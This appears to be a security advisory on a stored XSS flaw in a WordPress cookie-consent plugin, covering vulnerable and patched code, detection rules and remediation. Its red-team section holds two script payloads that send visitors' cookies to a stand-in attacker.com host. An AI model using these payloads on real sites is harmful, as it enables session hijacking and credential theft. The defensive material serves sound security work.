CVE-2025-1623

Executive Summary

CVE-2025-1623 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the GDPR Cookie Compliance WordPress plugin, affecting versions prior to 4.15.9. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. The vulnerability is particularly dangerous in multisite WordPress configurations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. Successful exploitation could lead to session hijacking, defacement, or further compromise of the WordPress ecosystem.

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem, specifically the GDPR Cookie Compliance plugin. As a third-party component, it introduces risk into the WordPress supply chain. Administrators must ensure the plugin is updated to version 4.15.9 or later to mitigate this threat. No known package manager (e.g., Composer) distribution is affected beyond the standard WordPress plugin repository.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD assigned, but based on vector: 4.8 Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Admin must save settings)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin privileges but can lead to persistent XSS affecting other users.

Deep Dive & Mechanics

The vulnerability stems from insufficient sanitization and escaping of plugin settings in the GDPR Cookie Compliance plugin. The plugin stores user-provided input (e.g., cookie consent messages, button text) in the WordPress database without proper validation. When an administrator saves these settings, the input is stored as-is. Later, when the settings are rendered on the frontend or admin pages, the unsanitized data is output without escaping, allowing arbitrary HTML and JavaScript execution.

In a multisite environment, where unfiltered_html is disabled for non-super admins, this vulnerability becomes critical. A site administrator with limited privileges can inject malicious scripts that execute in the context of other users, including super admins, leading to privilege escalation or site-wide compromise.

Attack Flow:

1. Attacker with admin privileges navigates to the plugin settings page.
2. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
3. The payload is stored in the database without sanitization.
4. When the settings are rendered (e.g., on the frontend cookie banner), the script executes in the browser of any visitor, including other admins.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.15.9):

// In settings page, input is directly saved
update_option('gdpr_cookie_consent_message', $_POST['message']);

// When rendering, output without escaping
echo get_option('gdpr_cookie_consent_message');

Patched Code (4.15.9+):

// Input is sanitized before saving
$message = sanitize_text_field($_POST['message']);
update_option('gdpr_cookie_consent_message', $message);

// Output is escaped
echo esc_html(get_option('gdpr_cookie_consent_message'));

The patch introduces sanitize_text_field() for input and esc_html() for output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multisite installation with GDPR Cookie Compliance plugin < 4.15.9.
• Admin-level credentials for a subsite.

Exploitation Steps:

1. Log in as a subsite admin.
2. Navigate to Settings > GDPR Cookie Compliance.
3. In the "Cookie Consent Message" field, inject the following payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the settings.
5. When a super admin or visitor loads the site, the script executes, exfiltrating cookies to the attacker's server.

Alternative Payload (Admin Session Hijack):

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to plugin settings, especially in multisite environments.
• Look for script tags in database entries for gdpr_cookie_consent_message or similar options.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in admin POST requests.

Hardening:

• Immediately update the plugin to version 4.15.9 or later.
• Restrict admin access to trusted users only.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit plugin settings for unexpected changes.

Indicators of Compromise (IOCs)

• File Indicators:
  • Modified plugin files in /wp-content/plugins/gdpr-cookie-compliance/ (unlikely if only settings are changed).
• Database Indicators:
  • Suspicious entries in wp_options table with keys like gdpr_cookie_consent_message containing <script> tags.
• Network Indicators:
  • Outbound connections to unknown domains from the WordPress admin interface.
  • HTTP requests containing document.cookie in the query string.
• Log Indicators:
  • Admin user activity logs showing unusual changes to plugin settings.
  • Web server logs with alert() or eval() in POST data.

Detection Engineering

YARA Rule

rule Detect_GDPR_Cookie_Compliance_XSS {
    meta:
        description = "Detects stored XSS payloads in GDPR Cookie Compliance plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1623"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_option = "gdpr_cookie_consent_message"
    condition:
        $plugin_option and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in GDPR Cookie Compliance Plugin Settings
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in the GDPR Cookie Compliance plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress action log
        ObjectName: 'gdpr_cookie_consent_message'
        Data|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1623 - Stored XSS in GDPR Cookie Compliance"; flow:to_server,established; content:"gdpr_cookie_consent_message"; nocase; content:"<script"; nocase; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade to version 4.15.9 or later from the WordPress plugin repository.
2. Audit Settings: Review and sanitize all existing plugin settings for malicious content.
3. Restrict Admin Access: Limit admin privileges to only necessary users, especially in multisite.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS filtering rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update all WordPress plugins and core.
• Conduct periodic security audits of plugin configurations.

Patch Verification:

• After updating, verify the plugin version in Plugins > Installed Plugins.
• Check that settings fields now use esc_html() for output.

Valters IT